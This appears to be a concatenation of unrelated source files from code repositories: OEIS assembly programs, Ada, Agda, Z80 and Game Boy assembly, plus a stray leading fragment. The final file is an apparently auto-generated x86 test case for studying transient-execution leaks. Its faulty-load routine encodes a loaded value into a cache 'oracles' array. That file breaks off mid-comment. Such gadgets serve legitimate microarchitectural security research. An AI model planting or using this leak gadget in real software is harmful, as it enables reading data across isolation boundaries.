34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
programs/oeis/319/A319371.asm | karttu/loda | 1 | 178720 | ; A319371: Numbers k such that the characteristic polynomial of a wheel graph of k nodes has exactly one monomial with vanishing coefficient.
; 1,2,3,4,6,7,8,10,11,12,14,15,16,18,19,20,22,23,24,26,27,28,30,31,32,34,35,36,38,39,40,42,43,44,46,47,48,50,51,52,54,55,56,58,59,60,62,63,64,66,67,68,70,71,72,74,75,76,78,79,80,82,83,84,86,87,88
mov $1,360
mul $1,$0
div $1,271
add $1,1
|
thirdparty/glut/progs/ada/ada_sphere.adb | ShiroixD/pag_zad_2 | 1 | 12537 | <gh_stars>1-10
with GL; use GL;
with Interfaces.C.Strings;
with Glut; use Glut;
with ada_sphere_procs; use ada_sphere_procs;
procedure ada_sphere is
package ICS renames Interfaces.C.Strings;
type chars_ptr_ptr is access ICS.chars_ptr;
argc : aliased integer;
pragma Import (C, argc, "gnat_argc");
argv : chars_ptr_ptr;
pragma Import (C, argv, "gnat_argv");
win : Integer;
m : Integer;
begin
glutInit (argc'access, argv);
glutInitDisplayMode(GLUT_RGB or GLUT_DEPTH or GLUT_DOUBLE);
win := glutCreateWindow("ada_sphere");
glutDisplayFunc(display'access);
glutReshapeFunc(reshape'access);
init;
m := glutCreateMenu(menu'access);
glutAddMenuEntry("Quit", 666);
glutAttachMenu(GLUT_RIGHT_BUTTON);
glutMainLoop;
end ada_sphere;
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_at_callee.asm | jpoikela/z88dk | 640 | 104654 |
; int b_vector_at_callee(b_vector_t *v, size_t idx)
SECTION code_clib
SECTION code_adt_b_vector
PUBLIC _b_vector_at_callee
EXTERN _b_array_at_callee
defc _b_vector_at_callee = _b_array_at_callee
|
src/fmt-uint32_argument.ads | likai3g/afmt | 0 | 13030 | <reponame>likai3g/afmt
with Interfaces;
with Fmt.Generic_Mod_Int_Argument;
package Fmt.Uint32_Argument is
new Generic_Mod_Int_Argument(Interfaces.Unsigned_32);
|
Progress.agda | danelahman/aeff-agda | 4 | 11709 | <reponame>danelahman/aeff-agda<filename>Progress.agda
open import Data.Empty
open import Data.Maybe
open import Data.Product
open import Data.Sum
open import Data.Unit
open import AEff
open import AwaitingComputations
open import EffectAnnotations
open import Preservation
open import Renamings
open import Substitutions
open import Types
open import Relation.Binary.PropositionalEquality hiding ([_])
open import Relation.Nullary
open import Relation.Nullary.Negation
module Progress where
-- WRAPPING PROMISES AROUND A CONTEXT
⟨⟨_⟩⟩ : Ctx → Ctx
⟨⟨ [] ⟩⟩ = []
⟨⟨ Γ ∷ X ⟩⟩ = ⟨⟨ Γ ⟩⟩ ∷ ⟨ X ⟩
-- RESULTS
data RunResult⟨_∣_⟩ (Γ : Ctx) : {C : CType} → ⟨⟨ Γ ⟩⟩ ⊢M⦂ C → Set where
return : {X : VType}
{o : O}
{i : I}
(V : ⟨⟨ Γ ⟩⟩ ⊢V⦂ X) →
------------------------------------------
RunResult⟨ Γ ∣ return {o = o} {i = i} V ⟩
promise : {X Y : VType}
{o o' : O}
{i i' : I}
{op : Σₛ}
{p : lkpᵢ op i ≡ just (o' , i')}
{M : ⟨⟨ Γ ⟩⟩ ∷ ``(payload op) ⊢M⦂ ⟨ X ⟩ ! (o' , i')}
{N : ⟨⟨ Γ ⟩⟩ ∷ ⟨ X ⟩ ⊢M⦂ Y ! (o , i)} →
RunResult⟨ Γ ∷ X ∣ N ⟩ →
----------------------------------------------------
RunResult⟨ Γ ∣ promise op ∣ p ↦ M `in N ⟩
awaiting : {C : CType}
{Y : VType}
{y : ⟨ Y ⟩ ∈ ⟨⟨ Γ ⟩⟩}
{M : ⟨⟨ Γ ⟩⟩ ⊢M⦂ C} →
y ⧗ M →
---------------------
RunResult⟨ Γ ∣ M ⟩
data CompResult⟨_∣_⟩ (Γ : Ctx) : {C : CType} → ⟨⟨ Γ ⟩⟩ ⊢M⦂ C → Set where
comp : {C : CType}
{M : ⟨⟨ Γ ⟩⟩ ⊢M⦂ C} →
RunResult⟨ Γ ∣ M ⟩ →
---------------------
CompResult⟨ Γ ∣ M ⟩
signal : {X : VType}
{o : O}
{i : I}
{op : Σₛ}
{p : op ∈ₒ o}
{V : ⟨⟨ Γ ⟩⟩ ⊢V⦂ ``(payload op)}
{M : ⟨⟨ Γ ⟩⟩ ⊢M⦂ X ! (o , i)} →
CompResult⟨ Γ ∣ M ⟩ →
--------------------------------
CompResult⟨ Γ ∣ ↑ op p V M ⟩
-- PROGRESS THEOREM FOR PROMISE-OPEN COMPUTATIONS
⇒-not-in-ctx : {Γ : Ctx} {X : VType} {C : CType} → X ⇒ C ∈ ⟨⟨ Γ ⟩⟩ → ⊥
⇒-not-in-ctx {Γ ∷ y} (Tl x) =
⇒-not-in-ctx x
{- THEOREM 3.3 -}
progress : {Γ : Ctx}
{C : CType} →
(M : ⟨⟨ Γ ⟩⟩ ⊢M⦂ C) →
-------------------------------
(Σ[ N ∈ ⟨⟨ Γ ⟩⟩ ⊢M⦂ C ] (M ↝ N)
⊎
CompResult⟨ Γ ∣ M ⟩)
progress (return V) =
inj₂ (comp (return V))
progress (let= M `in N) with progress M
... | inj₁ (M' , r) =
inj₁ (_ , context (let= [-] `in N) r)
... | inj₂ (comp (return V)) =
inj₁ (_ , let-return V N)
... | inj₂ (comp (promise {_} {_} {_} {_} {_} {_} {_} {p} {M'} {M''} R)) =
inj₁ (_ , let-promise p M' M'' N)
... | inj₂ (comp (awaiting R)) =
inj₂ (comp (awaiting (let-in R)))
... | inj₂ (signal {_} {_} {_} {_} {p} {V} {M'} R) =
inj₁ (_ , let-↑ p V M' N)
progress (letrec M `in N) =
inj₁ (_ , letrec-unfold M N)
progress ((` x) · W) with ⇒-not-in-ctx x
... | ()
progress (ƛ M · W) =
inj₁ (_ , apply M W)
progress (↑ op p V M) with progress M
... | inj₁ (M' , r) =
inj₁ (_ , context (↑ op p V [-]) r)
... | inj₂ R =
inj₂ (signal R)
progress (↓ op V M) with progress M
... | inj₁ (M' , r) =
inj₁ (_ , context (↓ op V [-]) r)
... | inj₂ (comp (return W)) =
inj₁ (_ , (↓-return V W))
... | inj₂ (comp (awaiting R)) =
inj₂ (comp (awaiting (interrupt R)))
... | inj₂ (signal {X} {o} {i} {op'} {p} {W} {M'} R) =
inj₁ (_ , (↓-↑ p V W M'))
... | inj₂ (comp (promise {_} {_} {_} {_} {_} {_} {op'} {p} {M'} {M''} R)) with decₛ op op'
... | yes refl =
inj₁ (_ , ↓-promise-op p V M' M'')
... | no ¬q =
inj₁ (_ , ↓-promise-op' ¬q p V M' M'')
progress (promise op ∣ p ↦ M `in N) with progress N
... | inj₁ (M' , r) =
inj₁ (_ , context (promise op ∣ p ↦ M `in [-]) r)
... | inj₂ (comp R) =
inj₂ (comp (promise R))
... | inj₂ (signal {_} {_} {_} {_} {q} {V} {M'} R) =
inj₁ (_ , promise-↑ p q V M M')
progress (await ` x until M) =
inj₂ (comp (awaiting await))
progress (await ⟨ V ⟩ until M) =
inj₁ (_ , await-promise V M)
progress (coerce p q M) with progress M
... | inj₁ (M' , r) =
inj₁ (_ , context (coerce p q [-]) r)
... | inj₂ (comp (return V)) =
inj₁ (_ , coerce-return V)
... | inj₂ (comp (promise {_} {_} {_} {_} {_} {_} {op'} {r} {M'} {M''} R)) =
inj₁ (_ , coerce-promise r M' M'')
... | inj₂ (comp (awaiting R)) =
inj₂ (comp (awaiting (coerce R)))
... | inj₂ (signal {_} {_} {_} {_} {r} {V} {M'} R) =
inj₁ (_ , coerce-↑ r V M')
-- PROGRESS THEOREM FOR CLOSED COMPUTATIONS
{- COROLLARY 3.4 -}
closed-progress : {C : CType} →
(M : [] ⊢M⦂ C) →
--------------------------
(Σ[ N ∈ [] ⊢M⦂ C ] (M ↝ N)
⊎
CompResult⟨ [] ∣ M ⟩)
closed-progress M =
progress M
|
programs/oeis/295/A295680.asm | neoneye/loda | 22 | 241443 | <gh_stars>10-100
; A295680: a(n) = a(n-1) + a(n-3) + a(n-4), where a(0) = 0, a(1) = 0, a(2) = 0, a(3) = 2.
; 0,0,0,2,2,2,4,8,12,18,30,50,80,128,208,338,546,882,1428,2312,3740,6050,9790,15842,25632,41472,67104,108578,175682,284258,459940,744200,1204140,1948338,3152478,5100818,8253296,13354112,21607408,34961522,56568930,91530450,148099380,239629832,387729212,627359042,1015088254,1642447298,2657535552,4299982848,6957518400,11257501250,18215019650,29472520898,47687540548,77160061448,124847601996,202007663442,326855265438,528862928882,855718194320,1384581123200,2240299317520,3624880440722,5865179758242,9490060198962,15355239957204,24845300156168,40200540113372,65045840269538,105246380382910,170292220652450,275538601035360,445830821687808,721369422723168,1167200244410978,1888569667134146,3055769911545122,4944339578679268,8000109490224392,12944449068903660,20944558559128050,33889007628031710,54833566187159762,88722573815191472,143556140002351232,232278713817542704,375834853819893938,608113567637436642,983948421457330578,1592061989094767220,2576010410552097800,4168072399646865020,6744082810198962818,10912155209845827838,17656238020044790658,28568393229890618496,46224631249935409152,74793024479826027648,121017655729761436802
trn $0,2
seq $0,74677 ; a(n) = Sum_{i = 0..floor(n/2)} (-1)^(i + floor(n/2)) F(2*i + e), where F = A000045 (Fibonacci numbers) and e = (1-(-1)^n)/2.
mul $0,2
|
programs/oeis/097/A097256.asm | neoneye/loda | 22 | 24933 | ; A097256: Numbers whose set of base 10 digits is {0,9}.
; 0,9,90,99,900,909,990,999,9000,9009,9090,9099,9900,9909,9990,9999,90000,90009,90090,90099,90900,90909,90990,90999,99000,99009,99090,99099,99900,99909,99990,99999,900000,900009,900090,900099,900900,900909,900990,900999,909000,909009,909090,909099,909900,909909,909990,909999,990000,990009,990090,990099,990900,990909,990990,990999,999000,999009,999090,999099,999900,999909,999990,999999,9000000,9000009,9000090,9000099,9000900,9000909,9000990,9000999,9009000,9009009,9009090,9009099,9009900,9009909,9009990,9009999,9090000,9090009,9090090,9090099,9090900,9090909,9090990,9090999,9099000,9099009,9099090,9099099,9099900,9099909,9099990,9099999,9900000,9900009,9900090,9900099
seq $0,5836 ; Numbers n whose base 3 representation contains no 2.
seq $0,7089 ; Numbers in base 3.
mul $0,9
|
programs/oeis/135/A135854.asm | karttu/loda | 0 | 102789 | ; A135854: a(n) = (n+1)*(2^n+1) for n>0 with a(0)=1.
; 1,6,15,36,85,198,455,1032,2313,5130,11275,24588,53261,114702,245775,524304,1114129,2359314,4980755,10485780,22020117,46137366,96469015,201326616,419430425,872415258,1811939355,3758096412,7784628253,16106127390,33285996575,68719476768,141733920801,292057776162,601295421475,1236950581284,2542620639269,5222680231974,10720238370855,21990232555560,45079976738857,92358976733226,189115999977515,387028092977196,791648371998765,1618481116086318,3307330976350255,6755399441055792
mov $2,$0
mov $3,$0
add $0,1
lpb $2,1
mul $0,2
mov $1,$0
sub $2,1
lpe
lpb $3,1
add $1,1
sub $3,1
lpe
add $1,1
|
scripts/VictoryRoad3F.asm | opiter09/ASM-Machina | 1 | 85390 | VictoryRoad3F_Script:
call VictoryRoad3Script_44996
call EnableAutoTextBoxDrawing
ld hl, VictoryRoad3TrainerHeaders
ld de, VictoryRoad3F_ScriptPointers
ld a, [wVictoryRoad3FCurScript]
call ExecuteCurMapScriptInTable
ld [wVictoryRoad3FCurScript], a
ret
VictoryRoad3Script_44996:
ld hl, wCurrentMapScriptFlags
bit 5, [hl]
res 5, [hl]
ret z
CheckEventHL EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH1
ret z
ld a, $1d
ld [wNewTileBlockID], a
lb bc, 5, 3
predef_jump ReplaceTileBlock
VictoryRoad3F_ScriptPointers:
dw VictoryRoad3Script0
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
VictoryRoad3Script0:
ld hl, wFlags_0xcd60
bit 7, [hl]
res 7, [hl]
jp z, .asm_449fe
ld hl, .coordsData_449f9
call CheckBoulderCoords
jp nc, .asm_449fe
ld a, [wCoordIndex]
cp $1
jr nz, .asm_449dc
ld hl, wCurrentMapScriptFlags
set 5, [hl]
SetEvent EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH1
ret
.asm_449dc
CheckAndSetEvent EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH2
jr nz, .asm_449fe
ld a, HS_VICTORY_ROAD_3F_BOULDER
ld [wMissableObjectIndex], a
predef HideObject
ld a, HS_VICTORY_ROAD_2F_BOULDER
ld [wMissableObjectIndex], a
predef_jump ShowObject
.coordsData_449f9:
dbmapcoord 3, 5
dbmapcoord 23, 15
db -1 ; end
.asm_449fe
ld a, VICTORY_ROAD_2F
ld [wDungeonWarpDestinationMap], a
ld hl, .coordsData_449f9
call IsPlayerOnDungeonWarp
ld a, [wCoordIndex]
cp $1
jr nz, .asm_44a1b
ld hl, wd72d
res 4, [hl]
ld hl, wd732
res 4, [hl]
ret
.asm_44a1b
ld a, [wd72d]
bit 4, a
jp z, CheckFightingMapTrainers
ret
VictoryRoad3F_TextPointers:
dw VictoryRoad3Text1
dw VictoryRoad3Text2
dw VictoryRoad3Text3
dw VictoryRoad3Text4
dw PickUpItemText
dw PickUpItemText
dw BoulderText
dw BoulderText
dw BoulderText
dw BoulderText
VictoryRoad3TrainerHeaders:
def_trainers
VictoryRoad3TrainerHeader0:
trainer EVENT_BEAT_VICTORY_ROAD_3_TRAINER_0, 1, VictoryRoad3BattleText2, VictoryRoad3EndBattleText2, VictoryRoad3AfterBattleText2
VictoryRoad3TrainerHeader1:
trainer EVENT_BEAT_VICTORY_ROAD_3_TRAINER_1, 4, VictoryRoad3BattleText3, VictoryRoad3EndBattleText3, VictoryRoad3AfterBattleText3
VictoryRoad3TrainerHeader2:
trainer EVENT_BEAT_VICTORY_ROAD_3_TRAINER_2, 4, VictoryRoad3BattleText4, VictoryRoad3EndBattleText4, VictoryRoad3AfterBattleText4
VictoryRoad3TrainerHeader3:
trainer EVENT_BEAT_VICTORY_ROAD_3_TRAINER_3, 4, VictoryRoad3BattleText5, VictoryRoad3EndBattleText5, VictoryRoad3AfterBattleText5
db -1 ; end
VictoryRoad3Text1:
text_asm
ld hl, VictoryRoad3TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3Text2:
text_asm
ld hl, VictoryRoad3TrainerHeader1
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3Text3:
text_asm
ld hl, VictoryRoad3TrainerHeader2
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3Text4:
text_asm
ld hl, VictoryRoad3TrainerHeader3
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3BattleText2:
text_far _VictoryRoad3BattleText2
text_end
VictoryRoad3EndBattleText2:
text_far _VictoryRoad3EndBattleText2
text_end
VictoryRoad3AfterBattleText2:
text_far _VictoryRoad3AfterBattleText2
text_end
VictoryRoad3BattleText3:
text_far _VictoryRoad3BattleText3
text_end
VictoryRoad3EndBattleText3:
text_far _VictoryRoad3EndBattleText3
text_end
VictoryRoad3AfterBattleText3:
text_far _VictoryRoad3AfterBattleText3
text_end
VictoryRoad3BattleText4:
text_far _VictoryRoad3BattleText4
text_end
VictoryRoad3EndBattleText4:
text_far _VictoryRoad3EndBattleText4
text_end
VictoryRoad3AfterBattleText4:
text_far _VictoryRoad3AfterBattleText4
text_end
VictoryRoad3BattleText5:
text_far _VictoryRoad3BattleText5
text_end
VictoryRoad3EndBattleText5:
text_far _VictoryRoad3EndBattleText5
text_end
VictoryRoad3AfterBattleText5:
text_far _VictoryRoad3AfterBattleText5
text_end
|
smsq/qa/powfp.asm | olifink/smsqe | 0 | 1142 | ; QL Arithmetic Power Floating Point V2.01 1990 <NAME> QJUMP
section qa
xdef qa_powfp
xdef qa_powfd
xref qa_powin
xref qa_int
xref qa_flotd
xref qa_divd
xref qa_muld
xref qa_add
xref qa_addd
xref qa_dup
xref qa_swap
xref qa_polyo
xref qa_poly
include 'dev8_keys_err'
;+++
; QL Arithmetic: TOS^D1.D2
;
; Raises TOS to the power of D1 exp D2
;
; Uses Cody and Waite POWER floating point binary.
;
; d0 r error return 0 or ERR.OVFL
; a1 c u pointer to arithmetic stack
; status return standard
;---
qa_powfd
move.l d1,-(a1)
move.w d2,-(a1) ; not very efficient this
;+++
; QL Arithmetic: NOS^TOS
;
; POPS the FP at TOS and raises NOS to the power of it.
;
; Uses Cody and Waite POWER floating point binary.
;
; d0 r error return 0 or ERR.OVFL
; a1 c u pointer to arithmetic stack
; status return standard
;---
qa_powfp
qpf.reg reg d1/d2/d3/d4/d5/d6/d7/a2
move.w (a1),d0 ; exponent
beq.s qpf_zpwr
sub.w #$0800,d0 ; could be integer?
ble.s qpf_float ; ... no
cmp.w #8,d0 ; above this float will be faster
bgt.s qpf_float
move.l d1,-(sp)
move.l 2(a1),d1
add.l d1,d1
lsl.l d0,d1 ; any remainder bits?
movem.l (sp)+,d1
bne.s qpf_float ; ... yes
qpf_int
jsr qa_int
jmp qa_powin ; raise to integer power
qpf_zpwr
tst.l 2(a1) ; true zero?
beq.s qpf_int ; ... yes
qpf_float
movem.l qpf.reg,-(sp)
move.w (a1)+,d7
move.l (a1)+,d6 ; save power
move.w (a1)+,d4 ; exponent
move.l (a1)+,d3 ; mantissa
bgt.s qpf_n.3 ; ... ok
blt.l qpf_erov ; ... oops
tst.l d6 ; zero to negative exponent
bgt.l qpf_ex6 ; ... no
bra.l qpf_erov ; ... yes
qpf_n.3
sub.w #$0800,d4 ; #m true (non-offset exponent)
qpf_n.5 ; #r=0 #g=d3
add.l d3,d3 ; #g*2
qpf_n.6
lea qpf_tab,a2
moveq #4,d5 ; #p
cmp.l 8*4-4(a2,d5.w),d3
bhi.s qpf_p4
moveq #9*4,d5
qpf_p4
cmp.l 4*4-4(a2,d5.w),d3
bhi.s qpf_p2
add.w #4*4,d5
qpf_p2
cmp.l 2*4-4(a2,d5.w),d3
bhi.s qpf_n.7
addq.w #2*4,d5
qpf_n.7 ; #p (*4) now set
move.l (a2,d5.w),d0
move.l d3,d1
moveq #0,d2 ; assume #g=a
sub.l d0,d1 ; #g-a
beq.s qpf_dvga
move.w #$801,d2 ; exponent of #g-a
qpf_nrga
subq.w #1,d2
add.l d1,d1
bvc.s qpf_nrga
qpf_rmga
roxr.l #1,d1 ; restore mantissa
qpf_dvga
move.l d1,-(a1)
move.w d2,-(a1)
add.l d0,d3 ; #g+a
roxr.l #1,d3 ; remove overflow
lsr.l #1,d3 ; normalised form
move.l d3,d1
move.w #$801,d2 ; just greater than one
jsr qa_divd ; #z on stack
qpf_n.8
jsr qa_dup
lea qpf_pcoef,a2 ; p coefficients
jsr qa_polyo ; odd terms only #R(z)+z*K on stack
jsr qa_add ; #U2
qpf_n.9
move.l d6,d1
move.w d7,d2 ; #Y
jsr qa_muld ; #U2*Y
move.w d4,d1
lsl.w #4,d1 ; #m*16
lsr.w #2,d5 ; #p
sub.w d5,d1 ; #m*16-p
jsr qa_flotd
subq.w #4,(a1) ; #U1, #U2*Y on stack
jsr qa_dup ; #U1, #U1, #U2*Y
move.l d6,d1
move.w d7,d2 ; reduce #Y
bsr.l qpf_redu
exg d4,d2
exg d3,d1
jsr qa_muld ; #U1*Y2, #U1, #U2*Y
jsr qa_swap ; #U1, #U1*Y2, #U2*Y
addq.l #6,a1
jsr qa_add ; #W=U2*Y+U1*Y2
sub.w #6*2,a1 ; #U1, (...), #W
move.w d4,d2
move.l d3,d1
jsr qa_muld ; #U1*Y1, (...), #W
move.w 6*2(a1),d2
move.l 6*2+2(a1),d1
bsr.l qpf_redu ; reduce #W
move.w d4,6(a1)
move.l d3,6+2(a1) ; #U1*Y1, #W2, #W
jsr qa_addd ; #W'=W1+U1*Y1, #W2, #W
bsr.l qpf_redp ; reduce #W'
move.w d2,6(a1)
move.l d1,6+2(a1) ; #W2, #W'1
exg d2,d4
exg d1,d3
jsr qa_addd ; #W'2=W2+W'-W'1, #W'1
bsr.s qpf_redp ; reduce #W'2
jsr qa_addd ; #W'1+W"
addq.w #4,(a1) ; *16
jsr qa_int
qpf_n.10.11
bne.s qpf_exit ; ... oops
move.w (a1)+,d7 ; #IW1
; #W''2 is in d3,d4
qpf_n.13
move.l d3,-(a1) ; #W''2 onto stack
move.w d4,-(a1)
tst.l d3 ; <=0?
ble.s qpf_setm ; ... yes
addq.w #1,d7
bvs.s qpf_erov
move.w #$7fc,d2
move.l #$80000000,d1 ; subtract 1/16
jsr qa_addd
qpf_setm
move.w d7,d0 ; keep #IW1
asr.w #4,d7 ; #m'
addq.w #1,d7 ; ... adjusted to make p>0
qpf_setp
move.w d7,d6
asl.w #4,d6
sub.w d0,d6 ; #p'
qpf_n.14
lea qpf_qcoef,a2
jsr qa_poly ; #Z
qpf_n.15
lsl.w #2,d6 ; #p*4
beq.s qpf_add1 ; #A1(p+1) is 1
move.l qpf_tab(pc,d6.w),d1 ; #A1(p+1)
move.w #$800,d2
addq.l #1,d1 ; round up
lsr.l #1,d1 ; normalised
jsr qa_muld ; #A1(p+1)*Z
bra.s qpf_ada1
qpf_add1
move.l #$40000000,d1 ; add 1
move.w #$801,d2
qpf_ada1
jsr qa_addd ; Z=#A1(p+1)+A1(p+1)*Z
add.w d7,(a1) ; correct exponenet
qpf_exok
moveq #0,d0
qpf_exit
movem.l (sp)+,qpf.reg
rts
qpf_ex6
subq.l #6,a1 ; keep zero
bra.s qpf_exok
qpf_ovx4
addq.l #4,sp ; remove return
qpf_erov
moveq #err.ovfl,d0
bra.s qpf_exit
qpf_redp
move.w (a1)+,d2 ; pop number to reduce
move.l (a1)+,d1
; d1,d2 call fp
; d3,d4 return < 1/16
; d1,d2 return reduced by d3,d4
qpf_redu
move.w d2,d4 ; a copy
move.l d1,d3
beq.s qpf_rts ; 0,0
move.w #$81b,d0 ; scrub all but part >1/16
sub.w d2,d0
blt.s qpf_ovx4 ; ... oops, none
cmp.w #31,d0 ; all <1/16?
bge.s qpf_zero
asr.l d0,d1
asl.l d0,d1 ; ms bit
sub.l d1,d3 ; all that is left
beq.s qpf_uflow ; ... nothing
move.w #$07fc,d4
move.w d2,d0
sub.w d4,d0
asl.l d0,d3 ; pre-normalise
move.l d3,d0 ; re-normalise
qpf_rnlp
add.l d0,d0 ; double up
bvs.s qpf_rts ; ... oops, done
subq.w #1,d4 ; decrease exponent
blt.s qpf_uflow ; no more
move.l d0,d3
bra.s qpf_rnlp
qpf_uflow
moveq #0,d4 ; underflowed
qpf_rts
rts
qpf_zero
moveq #0,d2 ; none >1/16
moveq #0,d1
rts
qpf_tab
dc.l $ffffffff
dc.l $F5257D15
dc.l $EAC0C6E8
dc.l $E0CCDEEC
dc.l $D744FCCB
dc.l $CE248C15
dc.l $C5672A11
dc.l $BD08A39F
dc.l $B504F334
dc.l $AD583EEA
dc.l $A5FED6AA
dc.l $9EF53261
dc.l $9837F052
dc.l $91C3D374
dc.l $8B95C1E4
dc.l $85AAC368
dc.l $80000000
dc.w $0000,$0000,$0000 ; q0
dc.w $0800,$58B9,$0BFB ; q1
dc.w $07FE,$7AFE,$F7F7 ; q2
dc.w $07FC,$71AC,$1B53 ; q3
dc.w $07FA,$4EC6,$A59B ; q4
dc.w $07F7,$558A,$8C38 ; q5
dc.w 5 ; order 5
qpf_qcoef
dc.w $07FF,$7154,$7652
dc.w $07FD,$7B1C,$26FD
dc.w $07FB,$49E7,$80B7
dc.w 5 ; order 5
qpf_pcoef
end
|
programs/oeis/164/A164604.asm | jmorken/loda | 1 | 85780 | <reponame>jmorken/loda
; A164604: a(n) = ((1+4*sqrt(2))*(3+2*sqrt(2))^n + (1-4*sqrt(2))*(3-2*sqrt(2))^n)/2.
; 1,19,113,659,3841,22387,130481,760499,4432513,25834579,150574961,877615187,5115116161,29813081779,173763374513,1012767165299,5902839617281,34404270538387,200522783613041,1168732431139859,6811871803226113
mul $0,2
mov $2,4
lpb $0
sub $0,1
mov $1,$2
add $4,$2
trn $2,$4
mov $3,1
add $3,$4
add $2,$3
add $4,$1
mov $1,1
lpe
trn $1,1
add $4,1
add $1,$4
|
test/src/cstart.asm | marcin-chwedczuk/mikrus-85 | 2 | 166420 | ; Run time start off for Small C.
; cseg
.module CRET
.area CRET (REL,CON) ;program area CRTSO is RELOCATABLE
.list (err, loc, bin, eqt, cyc, lin, src, lst, md)
.nlist (pag)
.globl crtsoend
lxi h,0
dad sp
shld stksav
lhld 6 ; pick up core top
lxi d,-10 ; decrease by 10 for safety
dad d
sphl ; set stack pointer
call main ; call main program
lhld stksav ; restore stack pointer
sphl
ret ; go back to CCP
stksav: .ds 2
crtsoend:
.end
|
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_4k_/i3-7100_9_0x84_notsx.log_21829_1369.asm | ljhsiun2/medusa | 9 | 98457 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xa976, %r9
nop
nop
nop
nop
cmp $18835, %r10
vmovups (%r9), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r8
nop
nop
and %r14, %r14
lea addresses_WC_ht+0x1c7d6, %r15
nop
nop
nop
cmp $15462, %r11
movups (%r15), %xmm6
vpextrq $0, %xmm6, %rdi
xor $47303, %rdi
lea addresses_D_ht+0xc896, %r14
nop
nop
nop
nop
xor %r9, %r9
movups (%r14), %xmm7
vpextrq $0, %xmm7, %rdi
nop
nop
nop
nop
nop
add %r15, %r15
lea addresses_WT_ht+0x11c76, %r14
nop
nop
nop
and $4016, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm0
vmovups %ymm0, (%r14)
sub %r9, %r9
lea addresses_UC_ht+0x1b536, %r8
nop
nop
nop
nop
nop
cmp %r11, %r11
mov (%r8), %r9d
dec %r10
lea addresses_D_ht+0x1a096, %rsi
lea addresses_UC_ht+0x7b36, %rdi
clflush (%rsi)
nop
nop
add $4095, %r14
mov $38, %rcx
rep movsl
nop
nop
dec %r9
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rbx
push %rcx
push %rdx
push %rsi
// Store
mov $0x606, %r14
nop
nop
nop
nop
cmp %rsi, %rsi
movb $0x51, (%r14)
nop
nop
nop
nop
nop
sub %rdx, %rdx
// Store
lea addresses_D+0x184ae, %rbx
nop
nop
dec %rsi
movb $0x51, (%rbx)
nop
nop
nop
nop
nop
inc %r10
// Store
lea addresses_US+0x9c96, %r14
nop
nop
nop
nop
sub $2696, %rcx
mov $0x5152535455565758, %rbx
movq %rbx, (%r14)
nop
nop
and $25632, %r10
// Store
lea addresses_A+0x1096, %rcx
nop
nop
nop
and $12699, %rdx
movb $0x51, (%rcx)
nop
nop
nop
nop
add $26195, %r14
// Store
lea addresses_WC+0x16c8e, %r10
clflush (%r10)
nop
add $31782, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
movaps %xmm5, (%r10)
nop
nop
nop
add %r14, %r14
// Load
lea addresses_normal+0x16896, %rbx
nop
nop
add $54553, %rsi
vmovups (%rbx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r14
nop
nop
nop
nop
nop
add $7661, %rcx
// Store
lea addresses_WT+0x7d16, %rsi
nop
nop
add %rcx, %rcx
mov $0x5152535455565758, %r8
movq %r8, (%rsi)
nop
nop
cmp %r14, %r14
// Store
lea addresses_A+0x1a896, %r14
nop
xor $53920, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm5
movups %xmm5, (%r14)
dec %r8
// Faulty Load
mov $0x896, %r10
nop
add %rbx, %rbx
vmovntdqa (%r10), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r8
lea oracles, %r14
and $0xff, %r8
shlq $12, %r8
mov (%r14,%r8,1), %r8
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
